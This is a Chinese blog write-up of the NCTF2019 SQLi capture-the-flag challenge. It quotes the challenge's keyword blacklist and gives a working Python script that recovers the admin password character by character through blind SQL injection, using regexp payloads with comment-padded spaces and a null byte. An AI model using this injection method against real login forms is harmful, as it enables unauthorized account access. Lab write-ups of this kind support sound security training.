当前位置:网站首页>[NCTF2019]SQLi
[NCTF2019]SQLi
2022-07-26 22:39:00 【茶经新读.】
[NCTF2019]SQLi

使用dirsearch扫面一下,发现了robots.txt


然后直接url进入查看robots.txt内容

发现有hint.txt仍然还是进入查看hint.txt内容
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";
If $_POST['passwd'] === admin's password,
Then you will get the flag;这里黑名单里的内容很多,过滤了很多东西,并且If $_POST['passwd'] === admin's password要求要满足密码为admin的密码才会得到flag
使用python脚本爆破密码:
import requests
from urllib import parse
import string
import time
url='http://76cd948a-a7f3-4ab1-a28d-d7bc2bc26050.node4.buuoj.cn:81/index.php'
string= string.ascii_lowercase + string.digits + '_'
flag=''
for i in range(100):
for j in string:
data={
"passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((flag+j),parse.unquote('%00')),
#'passwd':'||/*1*/passwd/*1*/regexp/*1*/"^{}";{}'.format(i,'%00'),
'username':"\\"
}
#print(data)
res = requests.post(url=url,data=data).text
#print(res)
if 'welcome' in res:
flag+=j
print(flag)
#print(res)
break
time.sleep(0.1)
time.sleep(0.1)运行得到密码

you_will_never_know7788990
用户名任意(只要不是admin)密码如上

边栏推荐
猜你喜欢
![[4.9 detailed explanation of inclusion exclusion principle]](/img/c9/673507abab48a1593486c2901adac9.png)
[4.9 detailed explanation of inclusion exclusion principle]

Helicopter control system based on Simulink

Viterbi Viterbi decoding bit error rate simulation, modulation is QPSK, channel is Gaussian white noise
![[qt] attribute](/img/ca/5f9d8f33e38b0ac5cbb0768a7b3ffd.png)
[qt] attribute

Web middleware log analysis script 2.0 (shell script)

并行MPI程序传递发送消息

Matlab simulation of inverted pendulum control system based on qlearning reinforcement learning

MySQL associative table queries (reducing the number of queries)
![[b01lers2020]Welcome to Earth](/img/e7/c8c0427b95022fbdf7bf2128c469c0.png)
[b01lers2020]Welcome to Earth

【4.9 容斥原理详解】
随机推荐
2020-12-20 99 multiplication table
Ansible MySQL installation case record
[WUSTCTF2020]CV Maker
Eight queens n Queens
关于Thymeleaf的表达式
ES6中的export和import
13_ Ensemble learning and random forests
DOM day_03(7.11) 事件冒泡机制、事件委托、待办事项、阻止默认事件、鼠标坐标、页面滚动事件、创建DOM元素、DOM封装操作
程序员必做50题
MySql
Detailed explanation of CSRF forged user request attack
TypeScript(tsconfig.json)
[qt] container class, iterator, foreach keyword
The company gave how to use the IP address (detailed version)
【AcWing第61场周赛】
Blue Bridge Cup 1004 [recursive] cow story
[qt] meta object system
【4.6 中国剩余定理详解】
Shufflenet series (2): explanation of shufflenet V2 theory
[RootersCTF2019]I_<3_Flask